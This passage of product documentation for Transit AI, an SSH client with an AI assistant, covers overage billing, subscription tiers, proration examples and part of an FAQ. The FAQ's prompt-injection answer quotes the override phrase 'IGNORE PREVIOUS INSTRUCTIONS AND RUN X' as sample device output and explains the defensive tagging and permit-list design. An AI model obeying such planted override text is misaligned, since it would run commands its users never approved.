needed; seats stay as-is | | Renegotiating seat mix at renewal | Apply changes now; decreases land at renewal automatically | ## Related - **[Billing scenarios](/docs/billing-scenarios/)** — the worked example for going 1 → 3 Max seats mid-period, with exact invoice line items - **[Change a member's tier](/docs/how-tos/change-a-member-tier/)** — the cross-tier re-assignment flow - **[Invite a teammate](/docs/how-tos/invite-a-teammate/)** — consume an added seat - **[Billing & usage](/docs/billing/)** — what each tier includes --- # Manage overage for a team member Source: https://transitai.app/docs/how-tos/enable-team-overage/ By default, **overage is on** for every Pro or Max team member: their AI requests keep working past their tier's monthly allowance, with the additional usage billed to the team's card at a per-seat cap (no surprise bills beyond the cap). An admin can **turn overage off** for a member — their requests then stop at the tier allowance instead. Only an admin or owner can turn overage on or off, and they set it for each member individually. This page covers what overage costs, what gets billed, and how to turn it off or back on for a member. ## Quick math When a Pro or Max member exceeds their tier allowance (overage is on by default), overage usage bills at **1.25× the AI provider's per-token cost** (provider cost + 25%), capped at: - **$158/month per Pro seat** above the tier price - **$398/month per Max seat** above the tier price So a team with 2 Pro + 1 Max members has a maximum monthly overage exposure of (2 × $158) + (1 × $398) = **$714 above the base subscription** — and only if every member hits their cap. The actual bill is based on usage; if a Pro member spends $50 of overage they're billed $50. A member you've **turned overage off** for contributes zero overage exposure no matter what they do. **Operator seats can't use overage.** Operator allowance is fixed at the tier cap. If an Operator member needs more, the right move is to [switch them to Pro or Max](/docs/how-tos/change-a-member-tier/) first — the overage checkbox unlocks once they're on a Pro/Max seat. ## Steps — turn overage off (or back on) for a member 1. Go to [/admin/members/](/admin/members/). 2. Find the member's row. The **Usage** column shows how much of their own tier allowance they've used this billing cycle — handy for deciding who actually needs overage. 3. Tick the **Overage** checkbox on their row. (Greyed out? Their seat is Operator or unassigned — move them to Pro or Max first, in the same row.) 4. Click **Save** on that row. The change is immediate. The member's running desktop app picks up the new setting within one AI request, or within ~30 minutes if they're idle. To set overage on your **own** seat (admins are members too), use the checkbox on your own row the same way. ## Steps — disable overage for a member 1. Same Members page. 2. Untick the member's **Overage** checkbox and **Save**. A member already past their allowance when you turn their overage off will be blocked from the next request onward. We don't refund overage already spent in the current period — the usage was real. Moving a member off Pro/Max also switches their overage off automatically. ## What about BYOK? BYOK and overage **stack**. They're two different escape hatches from the tier allowance: - **BYOK** — each member brings their own Anthropic or OpenAI key. AI calls on that key are billed by the provider directly to the member's provider account, not to your team's Stripe card. Free for every paid tier; no admin toggle required. - **Overage** — the team's card pays for usage past the tier allowance, at the 1.25× / capped rate. The most common team pattern: > Opt your heavy hitters into overage. Encourage members to enroll > BYOK for their day-to-day. Members fall through BYOK → tier > allowance → overage → cap, in that order. Heavy users mostly run > on BYOK for free; the org card only catches the spillover. See [Bring your own key](/docs/how-tos/bring-your-own-key/) for the member-side BYOK setup. ## When you'd turn overage off - **Strict budgeting.** Some teams want a hard cap matching the subscription — no surprise bills, period. Turn overage off for those members; they wait for renewal or coordinate with the admin when they exhaust their tier. - **Cost control on specific seats.** Overage is on by default, so the deliberate action is turning it off for members whose spend you want held to the tier allowance. ## How to estimate overage exposure The Members page shows each member's **current-cycle usage** (their percentage of their own allowance, with token counts on hover, and the dollar amount once they're actually in overage). The Billing tab shows the rolled-up view: how many members have overage on and the total overage invoiced this cycle. > Worst case = (# of Pro members with overage on × $158) + (# of Max members with overage on × $398) If that number is uncomfortable, turn overage off for more members and rely on BYOK + tier upgrades instead. ## Common issues ### "Overage needs a Pro or Max seat" when saving That member's seat is Operator (or no tier yet). Operator doesn't support overage. Either: - Move them to a Pro or Max seat (same row — tier dropdown, then tick overage, one Save does both), OR - Skip overage for them and rely on BYOK + tier upgrades. ### Enabled overage, member still blocked Check the member's row on [/admin/members/](/admin/members/) — the checkbox must be ticked on **their** row (overage is per member; another member's setting doesn't carry over), and their seat must be Pro or Max. ### Cost spike after enabling overage The overage charge appears on your team's next monthly invoice, not as a separate charge. The Members page shows who's in overage and for how much this cycle. If the line item is larger than expected, the most likely cause is a member with a runaway session (long-running agent loop, repetitive prompts). Check in with them, then decide whether to keep their overage on or move them to BYOK. ## Related - **[Billing scenarios → Overage billing](/docs/billing-scenarios/#overage-billing)** — the exact per-call cent-rounding math, worked examples, and how meter events become invoice line items - **[Billing & usage](/docs/billing/)** — the math for tier allowances and overage caps - **[Change a member's tier](/docs/how-tos/change-a-member-tier/)** — move someone to a tier with more headroom - **[Bring your own key](/docs/how-tos/bring-your-own-key/)** — the free alternative --- # Billing & usage Source: https://transitai.app/docs/billing/ Transit AI is a paid product — three tiers, no permanent free plan. New customers can start with a **14-day free trial of the Operator tier** (card required, one per customer; it converts to a paid Operator subscription when the trial ends unless you cancel first, and trial usage gets the same monthly AI budget as paid Operator). This page covers how the AI budget works, what happens when you approach or hit your limits, and how Bring Your Own Key (BYOK) gives you an alternative path when you do. ## The three plans | Plan | Price | AI models | Monthly AI budget | BYOK | |---|---|---|---|---| | **Operator** | $29/month | Easy + Medium | Lowest | Included free | | **Pro** | $79/month | All models | Higher | Included free | | **Max** | $199/month | All models | Highest | Included free | Annual billing is 12× the monthly rate — no annual discount. The choice between monthly and annual is "which invoice cadence do you prefer," not "how much do you save." Token costs dominate either way. You can switch plans, cancel, or update payment details anytime from the [account page](/account/). Plan switches prorate immediately on upgrade and defer to your next billing period on downgrade. **Running Transit AI for a team?** See [Team plans](/docs/teams/) — one subscription buys a mix of seats for the whole team, with an admin portal for invites and billing. ## What is the "monthly AI budget"? Every subscription tier includes a monthly token allowance for AI queries. The AI in Transit AI uses large language models (Anthropic Claude, OpenAI GPT) that meter usage by input + output tokens. Your tier's budget is the amount of AI usage included per billing period before you hit the included cap. Usage doesn't show as raw dollars in the app — instead the chat panel shows the percentage of your monthly budget consumed. Around 80% you'll see a banner. ## What happens at your limit? This is the question that matters most when usage is high. There are three escalation points, each with a clear next step. ### At ~80% of your monthly budget A yellow banner appears in the chat panel: *"You've used 80% of this month's AI budget."* Four options open at this point: 1. **Wait.** Your budget resets at the start of the next billing period. If you're at 80% and the period ends in a week, you might just want to coast. 2. **Let overage run — it's on by default.** Overage is **enabled by default** on every paid plan, so by default the AI simply keeps running past your budget cap; usage past the cap bills at **1.25× the AI provider's per-token cost**, capped at **2× your monthly subscription price**. So a $79 Pro plan would bill at most $158 above the base for a single month. You can **turn overage off anytime** from your [account page](/account/) (or straight from the budget banner in the desktop app); with it off, the AI pauses at your budget cap instead of billing past it. Operator tier doesn't support overage. On a team plan, overage is on by default per member and your **admin** can turn it off per member — see [team overage](/docs/how-tos/enable-team-overage/). Overage is invoiced in whole cents, and any partial cent rounds up — so a fractional $0.001 charge bills as $0.01. 3. **Switch to BYOK.** BYOK is included free with every paid tier. Enroll your own Anthropic or OpenAI key in **Settings → BYOK** in the desktop app, then flip the toggle to **Use BYOK**. The AI uses your key from there on — your tokens, billed directly by Anthropic or OpenAI to your provider account. No Transit AI budget consumed. 4. **Upgrade your tier.** Move from Operator to Pro, or Pro to Max, from the [account page](/account/). Upgrades pro-rate immediately; you pay the difference between what's left of your current period and the new tier's price. ### At your budget cap (only if you've turned overage off) Because overage is on by default, you only hit a hard budget cap if you've turned it off. If you have: a red banner appears, and the AI stops answering new queries. The chat panel explains why and offers the same options as above, minus "wait" — your budget is already exhausted. You can: - **Wait** until the billing period resets (same option as before, but now the AI is actually paused, not just warning you) - **Turn overage back on** and continue with metered billing - **Switch to BYOK** and continue with your own keys - **Upgrade your tier** for a larger budget Existing SSH sessions are unaffected by the AI cap — the terminal still works normally. The cap only applies to the AI assistant. ### At your overage cap Since overage is on by default, if you ran past your budget and exhausted the overage too — i.e., you spent 2× your monthly subscription on token costs in a single period — the AI pauses for the rest of the period. Two options remain: - **Switch to BYOK** and continue - **Upgrade your tier** for a larger budget The 2× cap exists so a runaway prompt loop or compromised credential can't drain an unlimited amount; we'd rather pause than surprise-bill you. ## BYOK — Bring Your Own Key BYOK is included free with every paid tier (Operator, Pro, Max). Enroll your own Anthropic or OpenAI key in **Settings → BYOK** in the desktop app and flip the toggle: **Use Transit AI** (default — we provide the AI keys, metered against your budget) or **Use BYOK** (you provide an Anthropic or OpenAI key, AI charges go to your provider account). When BYOK is on: - The AI uses the key you've enrolled in Settings → BYOK - Your token usage is billed by Anthropic / OpenAI directly to your account on file with them - Transit AI doesn't see your provider key beyond passing it through to the provider per-request — the key isn't stored on Transit AI's servers - The Transit AI monthly budget isn't consumed by BYOK requests **Use cases for BYOK:** - **Compliance.** Some organizations require all AI calls to be billed to their own provider account for SOC 2 audit trail. - **Heavy usage.** A power user who routinely exceeds the included budget may find BYOK cheaper than tier upgrades + overage. - **Existing credits.** If you have unused Anthropic or OpenAI credits from a trial or partnership, BYOK lets you burn them down through Transit AI. BYOK is **not** required for normal use. The default Transit-AI-funded path covers most network engineers comfortably. ## Managing your subscription The [account page](/account/) is the entry point. The page shows your plan, status, and current-period usage. You can: - **Switch plan** (Operator ↔ Pro ↔ Max) directly from the page. Upgrades take effect immediately and prorate on your next invoice. Downgrades schedule for the start of your next billing period. - **Manage subscription** opens the hosted billing portal — update payment method, see invoice history, update billing address, or cancel. Cancellations take effect at the end of the current billing period — the AI keeps working through the period you've already paid for. After cancellation, your SSH sessions still work; only the AI assistant becomes unavailable. If you're a member of a team plan, the account page hides the self-service controls (your tier and billing are managed by your team admin). See [Team plans](/docs/teams/). ## What if I change plans mid-period? **Upgrading (Operator → Pro → Max):** The new plan takes effect immediately. You're charged the pro-rated difference between what's left of your current period and the new plan's price. Your monthly AI budget jumps to the new tier's larger allowance for the rest of the period, with whatever you've already used carried over. **Downgrading (Max → Pro, Pro → Operator):** Downgrades **defer** to the start of your next billing period. You keep your current tier's entitlement (allowance, allowed models) for the rest of the period you've paid for; the new (lower) tier kicks in at renewal. No mid-period refund. Why deferral: without it, a customer could subscribe to Max on day 1, use up the larger allowance, downgrade to Operator on day 28 for a prorated credit, and effectively get most of the higher tier for less than its price. Deferring closes that loop while still letting you change plans freely. To cancel a scheduled downgrade — say you changed your mind — go back to the account page and pick your current plan again. The schedule is released and your tier stays. **Refreshing the desktop after a plan change:** the desktop picks up plan changes within one AI request. If the app is idle, the change shows up within ~30 minutes. You shouldn't need to sign out and back in. ## Refunds Refund requests are handled case by case. Reach out at [support@transitai.app](mailto:support@transitai.app) within 30 days of the charge and tell us what happened — we'll work with you. ## Related - **[Pricing](/pricing/)** — current rates + sign-up - **[Getting Started](/docs/getting-started/)** — full sign-up walkthrough - **[Team plans](/docs/teams/)** — one subscription for a whole team - **[Billing scenarios](/docs/billing-scenarios/)** — exactly how every upgrade, downgrade, seat change, cancellation, and overage charge is computed, with worked examples and invoice line items - **[Security model](/docs/security/)** — how the AI is structurally prevented from reading your credentials or running arbitrary commands - **[FAQ](/docs/faq/)** — common pre-purchase questions --- # Billing scenarios Source: https://transitai.app/docs/billing-scenarios/ This page is the deep reference for **what each plan change does to your invoice**. Every paragraph maps to an exact Stripe behavior; every table is the actual line-item shape you'll see on the next bill. ## The three rules Every plan change in Transit AI obeys these: 1. **Upgrades take effect immediately and prorate on the next invoice.** You get the bigger entitlement right away; the cost of the unused portion of your old state plus the cost of the new state from the change date show up as two proration line items the next time Stripe bills you. 2. **Downgrades and seat removals defer to the start of your next billing period.** You keep your current entitlement and seat count through the period you've already paid for. The new (smaller) state kicks in at renewal — no mid-period refund. 3. **Cancellations are also period-end.** Hitting cancel doesn't kill the subscription immediately; it sets a flag that stops the next renewal. You keep working through the end of the period you've already paid for. Why downgrades and removals defer: without it, a customer could subscribe high on day 1, burn through the bigger allowance, downgrade on day 28 for a prorated credit, and effectively get most of the higher tier for less than its price. Deferring closes the loop while still letting you change plans freely. ## Worked example — adding seats mid-period You're an admin with **1 Max seat** ($199/month) on a **30-day billing cycle**. On **day 15**, you go to [/admin/billing/](/admin/billing/) and bump Max from 1 to 3 seats. **What you see immediately:** the new 2 seats are usable right away — invite teammates onto them, or reassign existing members. No charge yet. **What you're billed at the start of the next period:** one invoice totaling **$796**, broken into these line items: | Line | Amount | Why | |---|---|---| | 3 × Max seat (next full month) | +$597.00 | Regular subscription bill for the upcoming period at the new seat count | | Proration credit — unused 1 seat × 15 days | −$99.50 | Stripe refunds the unused portion of what you already paid for 1 seat | | Proration charge — 3 seats × 15 days | +$298.50 | Stripe charges the bumped seat count for the half-period you already started using it | | **Total** | **$796.00** | (plus tax, if you're billed in a registered state) | The two proration lines net to **$199** — which is the same as "2 extra seats × half a month" if you were doing the math on a napkin. Stripe just shows it as a credit + a re-charge of the second half rather than as a single "2 × half-month" line. **Key takeaways:** - **No mid-period charge.** Day 15's seat bump doesn't bill anything that day. Everything stacks onto the next renewal invoice. One combined charge at the period boundary. - **The entitlement is immediate.** The 2 new seats work from the moment you click Apply changes, even though the bill comes later. - **Same math at every quantity and tier.** Replace Max with Pro / Operator and the same formula applies: `(new − old) × tier_price × (days_remaining / days_in_period)` is the net proration, on top of the next full-month charge. ## Personal plan scenarios ### Upgrade (Operator → Pro, or Pro → Max) **Trigger:** [/account/](/account/) → Switch plan dropdown → pick the higher tier → Switch plan. **Effect:** - New tier takes effect **immediately**. Bigger budget, more models, BYOK if you weren't already eligible. - Stripe issues a proration on the next invoice: credit for the unused portion of the old tier, charge for the new tier from the upgrade date. - Same math as the seat example above, scaled to a single seat. E.g. upgrading Operator → Pro halfway through a 30-day month: `($79 − $29) × (15/30) = $25` net proration, plus $79 next full month = **$104** on next invoice. **Important:** your usage counter does NOT reset on an upgrade. The percentage-of-budget you see in the chat panel is recalculated against the new (larger) budget cap, so a person who was at 90% of Operator suddenly shows ~33% of Pro — same spend, bigger denominator. ### Downgrade (Max → Pro, or Pro → Operator) **Trigger:** Same dropdown, lower tier. **Effect:** - The current tier stays active through the rest of the billing period. - The new (lower) tier kicks in at renewal — `data.effective_at` in the confirmation message tells you the exact date. - No proration, no mid-period refund. **To cancel a scheduled downgrade:** revisit /account/ and pick your current plan again. The schedule is released and your tier stays. ### Cancel **Trigger:** /account/ → Manage subscription → Cancel in the billing portal. **Effect:** - The subscription is flagged to end at the period boundary. - The AI assistant keeps working through the end of the current billing period. - At period end, the subscription terminates. No further charges. Your tier drops to none; the AI stops responding until you re-subscribe. - SSH sessions are not affected at any point — that's the offline-capable part of the app. ### Re-activate (before period end) **Trigger:** /account/ → Manage subscription → Renew / Resume in the billing portal. **Effect:** - The cancellation flag is cleared. The subscription renews normally at period end. No new invoice, no proration — just a flag flip. ### Re-subscribe (after period end) If you fully cancelled and the period has elapsed: **Trigger:** /pricing/ → pick a tier → checkout. **Effect:** - Treated as a fresh subscription. Your old Transit AI account is reused; usage history is preserved; tier resumes. - BYOK keys in your desktop keychain are untouched throughout — they resurface as soon as your tier flips back to a paid one. ## Team plan scenarios (admin actions) ### Add seats **Trigger:** [/admin/billing/](/admin/billing/) → bump a tier's seat count → Apply changes. **Effect:** same as the worked example at the top of this page. Immediate entitlement, prorated charge on the next invoice. The new seats sit in your unassigned pool until you [invite a teammate](/docs/how-tos/invite-a-teammate/) onto them or [reassign an existing member](/docs/how-tos/change-a-member-tier/). ### Remove seats **Trigger:** /admin/billing/ → reduce a tier's seat count → Apply changes. **Effect:** - **Deferred** — the seat count visible in the UI stays at the current value until the start of your next billing period, then drops. - No proration, no mid-period refund. - Confirmation message names the exact effective date. You can't reduce a tier's seat count below `assigned members + open invites at that tier`. The 409 error message tells you to re-tier or remove the assigned members first. See [Add or remove team seats](/docs/how-tos/add-or-remove-team-seats/). **To cancel a scheduled seat removal:** bump the count back up. Schedule releases; current count stays. ### Change a member's tier **Trigger:** [/admin/members/](/admin/members/) → pick a new tier in the member's row → Save. **Effect on entitlement:** - The member's effective tier changes **immediately**. Their desktop app picks up the new tier within one AI request, or within ~30 minutes via the idle fallback poll. **Effect on billing:** depends on whether the tier change crosses an existing seat boundary. - **If you have an available seat at the target tier** (e.g. you bought +1 Pro seat earlier), no Stripe-side change happens. The tier swap is free at the subscription level — you're just moving someone between seats you already pay for. - **If you didn't pre-buy the seat**, you'll first hit the "Add a seat on Billing first" error, then the workflow becomes: buy seat → reassign member → optionally remove the old tier's now-unused seat. The buy step prorates as an upgrade; the remove step defers. See [Change a member's tier](/docs/how-tos/change-a-member-tier/) for the full sequence. ### Tier-mix change (swap quantities across tiers) **Trigger:** /admin/billing/ → adjust multiple tier counts in the same form submit. E.g. go from `Operator: 2, Pro: 1` to `Operator: 1, Pro: 2`. **Effect:** total monthly value before and after is compared: - Higher total value (net upgrade) → applies immediately, prorate the difference on the next invoice. E.g. `(2×29 + 1×79) → (1×29 + 2×79) = $108 → $187` is an upgrade by $79/mo. - Lower total value (net downgrade) → deferred to the start of the next billing period. Same rationale as a pure seat removal. - Same total value → no change; the form returns "No changes to apply" because no individual tier's count changed (seat counts are tracked independently per tier — quantities don't move between tiers). ### Cancel the team subscription **Trigger:** /admin/billing/ → Manage in billing portal → Cancel. **Effect:** - The team's subscription is flagged to end at the period boundary. All members keep their assigned tier through the end of the period. - At period end, the subscription terminates and every member's effective tier becomes none, regardless of their prior tier assignment. - Members see a "Subscription required" panel in their desktop app shortly after period end. **Important:** member tier assignments are preserved through cancellation. If you re-subscribe later, the same roster + tier mix snaps back without re-inviting anyone. ### Re-activate a cancelled team subscription **Trigger:** /pricing/ → Buy for a team → buy a fresh team plan with the same email as the prior admin. **Effect:** - The system reconnects to your existing team workspace by email match and resumes entitlements. - Members rejoin with their prior tiers. No new invites needed. ## How proration works When you add seats or upgrade a tier, the change applies immediately and your card is not billed at that moment. Instead, **proration line items** appear on your next regularly scheduled invoice. There are always two proration lines for a single change: 1. **Proration credit** — value: `old_quantity × old_unit_price × (time_remaining / period_length)`. Refunds the unused portion of what you already paid for the old state. 2. **Proration charge** — value: `new_quantity × new_unit_price × (time_remaining / period_length)`. Charges the new state from the moment of change through end of period. The two combine to: **the cost of the increase, scaled to the unused fraction of the period.** Standard textbook proration. ## How deferred downgrades work For downgrades and seat removals, the change is scheduled rather than applied immediately: 1. **Through the current period**: your existing tier and seat counts stay in force at their existing prices. No refund, no recalculation. 2. **From the next period onward**: the new (smaller) state takes effect at the regular price for one billing cycle, then continues normally. Your card is not charged anything mid-period. The next invoice at period end bills the new (smaller) line items at full price — no proration math, because only the new state applies from that point forward. **To reverse a deferred downgrade** before it takes effect, revisit the form and pick your current tier or seat count. The scheduled change is released and your subscription continues unchanged. No invoice impact. ## What appears on your invoice A normal renewal invoice for a Pro account on a 30-day cycle: | Line | Amount | |---|---| | Pro plan | $79.00 | | Sales tax | $X | | **Total** | $79.00 + tax | An invoice on a period following a mid-period upgrade (Operator → Pro on day 15) looks like: | Line | Amount | |---|---| | Pro plan (next full month) | +$79.00 | | Proration credit — Operator × 15 days | −$14.50 | | Proration charge — Pro × 15 days | +$39.50 | | Sales tax | $X | | **Total** | $104.00 + tax | Plus a meter line if overage is enabled and was consumed: | Line | Amount | |---|---| | Pro plan | $79.00 | | Overage cents (125 units @ $0.01) | +$1.25 | | Sales tax | $X | | **Total** | $80.25 + tax | See [Overage billing](#overage-billing) below for the exact per-call cents-rounding mechanics that produce these meter unit counts. ## Tax Sales tax is computed per the customer's billing zip on every invoice. The customer-facing total includes tax in registered jurisdictions. Transit AI Software Inc. is the merchant of record. The authoritative list of jurisdictions with active tax collection is reflected in the tax line items of each invoice; jurisdictions without registration show $0 tax. The list of registered jurisdictions evolves over time. For non-US customers, VAT / GST is computed per the buyer's country. ## Refunds Refund requests are handled case-by-case. Email [support@transitai.app](mailto:support@transitai.app) within 30 days of the charge with the invoice ID and a brief reason. We'll work with you. For most cases we issue full refunds; for partial-period refunds the prorated amount is calculated based on days remaining in the period and the tier you were on. ## Edge cases ### Failed payment If a renewal invoice fails (declined card, insufficient funds, fraud hold): - The payment is retried 3 times over the following ~8 days. - The subscription is marked as "payment retry"; the desktop app shows a "Payment failed" banner with a link to the billing portal to update the card. - AI access is NOT cut off during the retry window — you have the full retry period to fix the card. - If all 3 retries fail, AI access stops. Updating the card from the portal triggers a fresh payment attempt; on success, access resumes within ~60s. ### Re-activate before period end If you cancelled but the period hasn't ended yet, the billing portal shows a "Renew" / "Resume subscription" button instead of "Cancel". Clicking it clears the cancellation flag — the subscription renews normally at period end. No invoice change. ### Mid-deferred-downgrade upgrade Say you scheduled a downgrade Max → Pro for the start of next period, and then mid-period you decide you want Pro → Max instead (a re-upgrade). The deferred downgrade is released, the new upgrade applies immediately with proration, and the downgrade schedule disappears. ### Subscription transferred between admins Not currently supported. The owner of a team plan is fixed to the user who bought the subscription. If you need to move ownership, contact support — we can adjust the role assignment for you. (Roadmap: in-app ownership transfer.) ### Adding seats to a fully cancelled subscription You can't — the subscription is gone at period end. Buying a new team plan from /pricing/ is the path; the system will reconnect to your existing team workspace if the email matches. ## Overage billing Overage is a per-user safety valve from the tier's monthly allowance, **on by default** on every paid plan. With it on (the default), AI requests past the allowance keep working and the cost lands on the next invoice. You can turn it off anytime — personal: your [account page](/account/) or Settings → Billing; teams: your admin, per member. ### When overage triggers Three conditions must all be true: 1. The member's overage flag is **on** — it is **on by default**, and off only if turned off ([admins manage it per member](/docs/how-tos/enable-team-overage/) on teams; a personal subscriber toggles it on their account page or in Settings → Billing). 2. The caller's tier is **Pro or Max**. Operator seats never trigger overage even when the flag is on — they're capped at the tier allowance, period. 3. The caller's spend in the current billing period **exceeds the tier allowance**. If any condition is false, the AI returns "budget exhausted" instead of generating an overage event. ### The markup math, exactly For each AI call past the allowance: ``` call_cost = (provider's per-token cost) × tokens used marked_up_cost = call_cost × 1.25 cents_billed = ceil( marked_up_cost in cents ) ``` Each call's overage cost is rounded **up** to the nearest whole cent before it's posted to your invoice's overage line. ### Worked example — one call Say a Pro user makes one AI call worth **$0.073** of provider tokens past their budget cap. ``` call_cost = $0.073 marked_up_cost = $0.073 × 1.25 = $0.09125 cents_billed = ceil(9.125 cents) = 10 cents ``` That single call adds **$0.10** to the next invoice's overage line — not the exact marked-up $0.09125, because of the ceiling rounding. ### Rounding policy (the per-cent ceiling) We round **up** to the next cent instead of normal-rounding because: 1. **Predictable per-call cost.** A call worth $0.005 of provider tokens ($0.00625 marked-up = 0.625 cents) bills at 1 cent every time, not "1 cent half the time, 0 cents the other half." Customers and accounting see consistent per-call line items. 2. **No silent under-billing.** The behavior is the same on every call regardless of size. **Worst-case effect**: less than $0.01 per overage-eligible call. For a typical session with ~30 overage calls a month, that's under $0.30 per period. Customers who notice a discrepancy can [email support](mailto:support@transitai.app) and we'll reconcile. ### Worked example — over a month Say a Pro user is past their allowance and makes **100 AI calls** in the rest of the month, each generating about **$0.073** of provider overage cost (so the example call from above, repeated): ``` Per call: 10 cents billed (per the ceiling above) 100 calls: 1,000 cents = $10.00 ``` Their next invoice (assuming overage stays on the whole period): | Line | Amount | |---|---| | Pro plan | $79.00 | | Overage | +$10.00 | | Sales tax | $X | | **Total** | $89.00 + tax | ### The tier cap, per seat Overage doesn't run unbounded. There is a hard ceiling per user, per period: - **Pro tier**: $158/month overage cap per seat (2× the $79 base) - **Max tier**: $398/month overage cap per seat (2× the $199 base) Once a user hits their cap, every subsequent AI call returns "overage cap reached" until the period rolls over. No silent billing past the cap. **Per-seat, not per-org.** A team with 2 Pro + 1 Max seats has a maximum monthly overage exposure of `(2 × $158) + (1 × $398)` = **$714/month** above the base subscription, and only if every member personally hits their personal cap. ### Mid-period vs renewal invoice Overage **never** triggers an immediate charge. All overage usage accumulates and bills on the next regular renewal invoice. One combined charge at the period boundary. If you turn overage **off** mid-period: - Overage usage already accumulated stays on the subscription — it will bill on the next invoice. - New calls past the allowance return "budget exhausted" again. If you turn overage **on** for the first time: - Calls past the allowance start accruing from that point forward. Prior calls that were blocked don't backfill. ### BYOK + overage interaction BYOK calls never trigger overage — they're billed entirely by the upstream provider on your own account. If a user has BYOK enabled in the desktop app and toggles "Use BYOK", their tokens go to their own provider account and no overage line appears on your Transit AI invoice. See [Bring your own key](/docs/how-tos/bring-your-own-key/). ### Disputes If you see an overage line that doesn't match your team's usage — a freakish spike from a runaway agent loop or compromised credential, say — email [support@transitai.app](mailto:support@transitai.app). Every billed call has a request id; we can pull the per-call cost breakdown from our usage records and reconcile or refund as appropriate. ## Glossary **Billing period** — the month or year between renewals. Set at signup; e.g. signing up on the 15th means your periods run 15th → 15th. **Proration** — splitting a charge across the portion of a billing period something was active. Always two line items: a credit for what was unused at the old rate, and a charge for what's now consumed at the new rate. **Subscription line** — one product line on a subscription. A team plan with 1 Operator + 2 Pro + 1 Max seat has 3 tier lines (one per tier with quantity), plus an overage line. **Overage line** — the usage-based line on a subscription that charges for AI calls past the tier allowance. Bills only what was used; can't be paused or cancelled separately. **Deferred change** — a plan change scheduled to take effect at the next period boundary instead of immediately. Used for all downgrades and seat removals. Shown in the admin UI as a "Scheduled to take effect on …" banner. **Subscription status** — common values: **active** (paying normally), **payment retry** (a payment failed and is being retried), **unpaid** (retries exhausted, AI access paused), **canceled** (subscription terminated at the end of the most recent period). **Cancellation cascade** — when a team subscription is canceled, every member's effective tier becomes none at the period boundary. Seat assignments are preserved so re-subscribing restores the team without re-inviting. ## Related - **[Billing & usage](/docs/billing/)** — what each tier includes; what happens at usage limits - **[Team plans](/docs/teams/)** — overview of the team-plan structure - **[Add or remove team seats](/docs/how-tos/add-or-remove-team-seats/)** — the UI walkthrough for seat changes - **[Change a member's tier](/docs/how-tos/change-a-member-tier/)** — the buy → reassign → remove flow - **[Manage team overage](/docs/how-tos/enable-team-overage/)** — overage is on by default; turn it off per member - **[FAQ](/docs/faq/)** — common pre-purchase questions --- # FAQ Source: https://transitai.app/docs/faq/ ## General ### What is Transit AI? A cross-platform GUI SSH client with an embedded read-only AI assistant for investigating network gear (switches, routers, firewalls). Every command the AI proposes passes a per-vendor permit list AND your explicit click. The familiar multi-session tab UX you already know, modernized. ### Who is it for? Network engineers who spend a lot of time in SSH and want help investigating without giving up control over what runs on the device. ### What platforms? macOS (Apple Silicon — macOS 12+), Windows, Linux. No Intel macOS build. ### Is the source available? Transit AI is closed-source commercial software. The security model is documented in detail (see [Security](/docs/security/) and our threat model) but the source isn't published. ## Account & sign-in ### How do I sign up? Click **Sign up** anywhere on the site. The button routes into our hosted identity provider, where you'll create an account. On first sign-in, a personal organization is auto-created so subscription and billing always attach to an org for a uniform model. ### Does the desktop app talk to the website? No. The desktop signs in by launching your system browser at the cloud's OAuth endpoint, which returns through a `transit://` deep link. The website doesn't proxy desktop traffic. ### What does sign-in actually give me? Sign-in attaches your subscription to your account, then unlocks the AI agent: cloud-resident provider key metered against your tier's monthly token budget, with the option to **bring your own API key** (Anthropic or OpenAI) on Pro and Max tiers. ## Pricing ### How much is it? Three paid tiers (Operator has a 14-day free trial), no permanent free tier: - **Operator** — $29/month or $348/year. Easy + Medium AI models. 14-day free trial available. - **Pro** — $79/month or $948/year. Adds Advanced models. - **Max** — $199/month or $2,388/year. Same model surface as Pro with the largest monthly AI budget. BYOK is included with every tier at no additional charge. Annual billing is 12× the monthly price — there's no discount, and that's deliberate. Token costs dominate either way, so a subscription discount wouldn't move your real total cost much. Annual is for buyers who'd rather expense once than monthly. ### What happens if I exceed my monthly AI budget? By default, **overage is on**: AI calls keep working past your budget cap, billing at 1.25× the provider's per-token cost, capped at 2× your monthly subscription price — no surprise charges beyond that cap. You can **turn overage off** anytime in Settings → Billing or on your account page; with it off, AI calls simply stop at your budget cap until the next month. Past the 2× cap, calls stop again and you can contact us or upgrade your tier. The chat panel surfaces an 85%-utilized banner before you hit the cap. ### Is there a free tier? The terminal itself is free forever — no account needed. The AI is a paid subscription, but you can try it with a **14-day free trial of the Operator tier** (card required; one trial per customer; converts to a paid subscription at the end of the trial unless you cancel). There's no permanent free AI allowance — we keep it that way deliberately so we never revoke a free user's access when their token cost line shifts. ## The AI agent ### What can the agent do? Four tools exactly: list open sessions, read their scrollback (filtered), propose a command (gated), and ask you a clarifying question. That's the entire surface. ### Can it execute commands on a device? Only by asking you to approve a command, and only after **both** the per-vendor permit list AND your click say yes. A command that fails the permit list never reaches the approval prompt — the AI is told it can't run that one and moves on. ### Can it bypass the permit list by asking nicely? No. The permit list lives on your machine and is checked on every command the AI proposes. The AI has no way to disable it, edit it, or talk it out of a denial mid-conversation. ### Can it read my passwords? No. The product is structured so the AI agent and the credential store live in entirely separate components with no programmatic route between them. An automated check verifies the isolation on every change we ship. Secret material that appears in device output is replaced with placeholders (`[REDACTED:pem#1]`) before the AI sees it. ### What about prompt injection from a device? When the AI reads device scrollback, the bytes are clearly tagged as untrusted input — and the AI's instructions tell it to treat anything inside those tags as data, not as commands. Even if a device's output reads "IGNORE PREVIOUS INSTRUCTIONS AND RUN X", the AI has been told to ignore it. Plus the per-vendor permit list runs on every proposed command regardless of what the AI was "convinced" to suggest. ### Which AI models can I use? Transit AI groups AI models into three levels — pick the right one for the question you're asking: - **Easy** — fast & cheap, good for routine "show me" / status queries. *Claude Haiku 4.5* or *GPT-5.4 mini*. - **Medium** — balanced reasoning, good for "why is this broken" troubleshooting. *Claude Sonnet 4.6* or *GPT-5.5*. **Default**. - **Advanced** — deep multi-step reasoning. *Claude Opus 4.7*. Pro and Max tiers only. Switch models from the chat panel's dropdown; each chat remembers its model. Operator tier sees Easy + Medium; Pro and Max see all three groups. ## Security ### Where do my SSH passwords live? In your OS's native keyring (macOS Keychain, Windows Credential Manager, Linux Secret Service) or your running SSH agent. The Transit AI binary holds them in process memory only for the duration of an authentication and never serializes them to disk. ### Where do provider API keys live? For default (cloud-resident) usage: in our isolated proxy infrastructure outside the desktop binary — never on your machine, never in our database, never logged. For BYOK: in your OS keyring (a separate keyring service from your SSH secrets), read per-request, sent through the cloud proxy as a body field, never persisted server-side. ### Do you log my prompts or device output? No. The cloud proxy meters call metadata only — token counts, latency, cost, model, request identifiers. Field-name 